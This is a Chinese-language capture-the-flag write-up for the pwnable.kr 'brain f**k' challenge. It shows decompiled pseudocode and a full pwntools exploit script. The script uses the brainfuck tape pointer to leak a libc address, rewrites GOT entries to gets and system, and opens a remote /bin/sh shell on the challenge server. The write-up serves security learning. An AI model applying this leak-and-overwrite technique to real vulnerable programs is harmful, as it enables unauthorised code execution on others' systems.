您的位置:首页 > 大数据 > 人工智能

pwnable.kr之brain f**k

2018-07-31 16:01 197 查看

这个问题还是很有趣的东西,这题是pwnable.kr中的第一题拥有libc库的题目;

首先说一下libc库作用,libc库的作用就是保存了可以用的函数,libc库提供C语言中所使用的宏,类型的定义,字符串操作符,数学计算函数以及输入输出函数等。正如ANSI C是C语言的标准一样,libc只是一个函数库标准,每个操作系统都会按照该标准对标准库进行具体实现。通常我们所说的libc是特指某个操作系统的标准库,比如:在Linux操作系统下所说的libc即glibc。glibc是类Unix操作系统中使用最广泛的libc库,它的全称是GNU C Library。

在libc库中,虽然函数的地址可能不同,但是函数之间的地址差是一定的,所以可以利用libc库来查看函数地址之间的差,之后可以在进行下一步的溢出。

接下来看看这个bf:

[code]int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@4
int v4; // edx@4
size_t i; // [sp+28h] [bp-40Ch]@1
int v6; // [sp+2Ch] [bp-408h]@1
int v7; // [sp+42Ch] [bp-8h]@1

v7 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(&v6, 0, 0x400u);
fgets((char *)&v6, 1024, stdin);
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v7;
return result;
}

这个是main函数的c语言伪代码,首先发现这里有个fgets()函数,可以实现溢出;

[code]int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
_BYTE *v2; // ebx@7

result = a1;
switch ( a1 )
{
case 62:
result = p++ + 1;
break;
case 60:
result = p-- - 1;
break;
case 43:
result = p;
++*(_BYTE *)p;
break;
case 45:
result = p;
--*(_BYTE *)p;
break;
case 46:
result = putchar(*(_BYTE *)p);
break;
case 44:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}

这是do_brainfuck函数的c伪代码; 

再说说做这个题目的思路,最终的目标就是拿到题目的一个shell,就是要构造一个system("/bin/sh\0"),system可以通过泄露内存,也就是通过libc库可以得到,而“/bin/sh”只能通过fget来输入;

知道了这些思路,接下来就是给出脚本了:

[code]#!/usr/bin/python
from pwn import *

libc = ELF('bf_libc.so')
p = remote('pwnable.kr',9001)

def back(n):
return '<'*n
def read(n):
return '.>'*n
def write(n):
return ',>'*n

putchar_got = 0x0804A030
memset_got  = 0x0804A02C
fgets_got   = 0x0804A010
ptr         = 0x0804A0A0

payload =  back(ptr - putchar_got) + '.' + read(4)
payload += back(4) + write(4)
payload += back(putchar_got - memset_got + 4) + write(4)
payload += back(memset_got - fgets_got + 4) + write(4)
payload += '.'

p.recvuntil('[ ]\n')
p.sendline(payload)
p.recv(1) # junkcode

putchar_libc = libc.symbols['putchar']
gets_libc    = libc.symbols['gets']
system_libc  = libc.symbols['system']

putchar = u32(p.recv(4))
log.success("putchar = "+ hex(putchar))

gets    = putchar - putchar_libc + gets_libc
log.success("gets = "   + hex(gets))

system  = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))

main    = 0x08048671
log.success("main = "   + hex(system))

p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))

p.sendline('//bin/sh\0')
p.interactive()

这段脚本并不难理解,就是牵扯到一些libc库的专门的函数等,所以这些需要熟悉,但是思路其实还是很常见的溢出的思路。

ok,大功告成!!!!!

阅读更多
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: